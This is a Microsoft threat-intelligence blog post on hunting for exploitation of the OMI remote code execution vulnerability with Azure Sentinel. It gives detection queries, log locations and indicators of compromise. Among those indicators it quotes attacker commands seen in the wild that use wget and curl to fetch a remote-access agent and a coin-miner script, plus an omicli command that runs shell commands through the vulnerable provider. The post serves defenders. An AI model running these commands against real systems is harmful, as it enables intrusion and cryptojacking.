Hunting for OMI Vulnerability Exploitation with Azure Sentinel
Published Sep 18 2021 10:57 PM 248K Views
Microsoft

Russell McDonald, Roberto Rodriguez, and Ajeet Prakash

Special thanks to: Ross Bevington 

 

Following the September 14th, 2021 release of three Elevation of Privilege (EoP) vulnerabilities (CVE-2021-38645, CVE-2021-38649, CVE-2021-38648) and one unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2021-38647) in the Open Management Infrastructure (OMI) Framework, analysts in the Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation and investigating detections to further protect customers. Following the MSRC guidance to block ports that you aren't using and to ensure the OMI service is patched are great first steps. In this blog, we have some things to share about current attacks in the wild, agents and software involved, indicators for defenders to look for on host machines, and to share new detections in Azure Sentinel.

 

Attacks in the wild

At Microsoft we monitor for attacks against our cloud services to inform our future security research, track emerging threats, and to improve the detection coverage of our security offerings.  As part of that work, MSTIC is monitoring for exploitation of the OMI related RCE (CVE-2021-38647).  To date we have seen several active exploitation attempts ranging from basic host enumeration (running uname, id, ps commands) to attempts to install a crypto currency miner or file share. (Details available below in Hunting cues section). We have also seen others in the community report similar behavior to include installs of the Mirai botnet. While many of the attackers are looking for port 5986, we are also seeing attacks on port 1270.  Due to the number of easily adaptable proof of concept exploits available and the volume of reconnaissance-type attacks, we are anticipating an increase in the number of effects-type attacks (coin miners, bot installation, etc.).

 

What is OMI?

OMI is an open-source project to further the development of a production quality implementation of the OMI CIMOM is also designed to be portable and highly modular. In order to attain its small footprint, it is coded in C, which also makes it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor. OMI is also designed to be inherently portable. It builds and runs today on most UNIX® systems and Linux. In addition to OMI's small footprint, it also demonstrates very high performance.

 

Unauthenticated remote command execution?

In a nutshell, anyone with access to an endpoint running a vulnerable version (less than 1.6.8.1) of the OMI agent can execute arbitrary commands over an HTTP request without an authorization header. The expected behavior would be a 401 unauthorized response. However, the user is able to execute commands with root privileges.

More details are available in the MSRC CVE-2021-38647 post and the finder company Wiz blog post.

 

Endpoint Execution Context

In addition to monitoring for incoming connections over ports 5986, 5985 or 1270 to vulnerable systems, there is more to explore at the endpoint level.

 

SCXCore Providers

SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

The SCXcore provides a CIMOM provider, based on OMI, to return logging and statistical information for a UNIX or Linux system. There are several providers or classes available through the SCXcore provider which can be used to gather information from an endpoint such as  MemoryStatisticalInformation or FileSystemStatisticalInformation.

 

In addition, there is one support provider named the RunAsProvider which provides the following classes:

  • ExecuteCommand: Executes any UNIX/Linux native command
  • ExecuteShellCommand: Executes any UNIX/Linux command using the /bin/sh shell
  • ExecuteScript: Executes any UNIX/Linux script using the /bin/sh shell

 

Executing Code via ExecuteShellCommand

Based on the initial research from Wiz, the following command was used to explore network traffic in order to craft an HTTP request to test the vulnerability:

/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

 

During testing, we used the Scxadmin tool, available as part of SCX, to increase all logging to VERBOSE and identify additional sources of data. The following command was used:

/opt/microsoft/scx/bin/tools/scxadmin -log-set all verbose

 

After running public proof-of-concepts to test the vulnerability, we validated that the code was being handled by the RunAsProvider :: Invoke_ExecuteShellCommand class:russmc_0-1632000577051.png

Checking logs from auditd via Syslog, we also identified where the code was being executed from:

russmc_1-1632000577059.png

We tested the same in our lab environments, and we observed the same behavior which is shown below:

russmc_2-1632000577065.png

 

Looking at the code behind the components of the RunAs providers, there are some references to it:

russmc_3-1632000577069.png

 

More information about SCXcore is available here: GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager

 

Executing Code via ExecuteScript

 

Similarly, scripts can be run using the ExecuteScript provider. In this case, the body of the http request contains a reference to ExecuteScript.  In the below example, the command ‘id’ is base64 encoded to ‘aWQ=’:

russmc_4-1632000577071.png

 

In this case, the script is passed into a temp directory which you can see in the execve logs. Look for a commandline similar to /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/scx*. This command will still show as being run from the same /var/opt/microsoft/scx/tmp current working directory.

Of note, this is the method we have seen used with attackers attempting to install coin miners.

 

Azure Sentinel coverage

Relevant security data required for understanding the impact of an attack is produced in multiple locations. Azure Sentinel has made it easy to collect the data from multiple data sources easily. This section of the post contains guidance and generic approaches to look for the OMI related activity in various data feeds that are available by default in Azure Sentinel or can be onboarded to Azure Sentinel.

 

Some Azure products, such as Configuration Management, open an HTTP/S port (1270/5985/5986) listening for OMI. Attackers can exploit the vulnerability in OMI where these ports are open by sending a specially crafted message via HTTPS to port listening to OMI to gain initial access to the machine.

 

The Azure Sentinel query linked below tries to identify connection attempts from the external IP addresses to the OMI management ports (5985,5986,1270). The query primarily leverages the Network Session normalization schema (imNetworkSession)  as well as a few other logs to look for this network connection activity from an external IP address. Where available, it tries to restrict the results to the relevant OMI process. The results can sometimes be noisy; hence the query has been shipped as a hunting query.

Normalizing parsers for leveraging the imNetworkSession normalized schema are required for this query to work and can be deployed in a click using an ARM Template.

Azure-Sentinel/NetworkConnectiontoOMIPorts.yaml at master · Azure/Azure-Sentinel · GitHub

 

Customers can also use Heartbeat logs that monitors agent health to find vulnerable machine. The Azure Sentinel query linked below tries to leverage Heartbeat data to find OMS-agents that are reporting to the Azure Sentinel workspace but are not updated to the latest version that prevents this vulnerability.

[updated Sept 27, 2021]

Azure-Sentinel/OMI_vulnerability_detection.yaml at master · Azure/Azure-Sentinel (github.com)

 

Additionally, Azure Security Center generates detailed security recommendations if there are vulnerable machines in an Azure Environment with OMI installed. With the continuous export feature of Security Center, these security recommendations can be imported into Azure Sentinel. Azure Sentinel leverages this data populated in Security Nested Recommendations table to build a detection query to show vulnerable machines.

 Azure-Sentinel/OMIGODVulnerableMachines.yaml at master · Azure/Azure-Sentinel · GitHub

 

Azure Service Health has also sent notifications to potentially impacted customers. In the impacted environments where customers can run a quick query to check if they are impacted by this Vulnerability.

AzureActivity
| where CategoryValue == 'ServiceHealth'
| where isnotempty(Properties) and Properties has 'CVE-2021-38645'
| extend defaultLanguageTitle = tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)

 

SCX RunAs Provider

[updated Sept 24, 2021]

The below hunting query uses security events from the Microsoft Audit Collection Tool (AUOMS) collected via the Azure Sentinel Syslog data connector to explore the use of SCX Execute RunAs providers.

 

Azure-Sentinel/SCXExecuteRunAsProviders.yml at master · Azure/Azure-Sentinel (github.com)


Execute RunAs providers such as the ExecuteShellCommand and ExecuteScript can be used to execute any UNIX/Linux command and script respectively using the /bin/sh shell. Execution occurs from the /var/opt/microsoft/scx/tmp directory and depending on the execution RunAs provider, execution can be a command or a script. If the ExecuteScript RunAs provider is used, then the script file is created in the following directory /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/ with the prefix scx (e.g. scxzOy96). SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

 

Hunting cues and IOCs

Common enumeration commands seen

uname -a, id, netstat, ps

Exploitation attempt

wget hxxps://www.dwservice.net/download/dwagent_generic.sh  -O dwagent_generic.sh

Exploitation attempt

echo curl hxxps://www.dwservice.net/download/dwagent_generic.sh  --output dw.sh > go.sh

Exploitation attempt

curl -fSsL hxxp://104.168.213.31:55879/coinlinux/runMiner.sh

Scanning IPs

13.212.235.12

Scanning IPs

142.93.148.12

Scanning IPs

171.224.80.216

Scanning IPs

185.220.100.245

Scanning IPs

216.151.191.152

Scanning IPs

23.129.64.140

Scanning IPs

31.44.185.115

Scanning IPs

46.30.42.126

Scanning IPs

5.45.127.209

Scanning IPs

94.198.42.158

 

References: 

MSRC communications:

Azure Security Center Guidance:

Sentinel Detections:

Software and tools:

Research lab environments:

 

Public Discussion About Attacks in the wild:

 

3 Comments
Version history
Last update:
‎Nov 03 2021 04:04 AM
Updated by: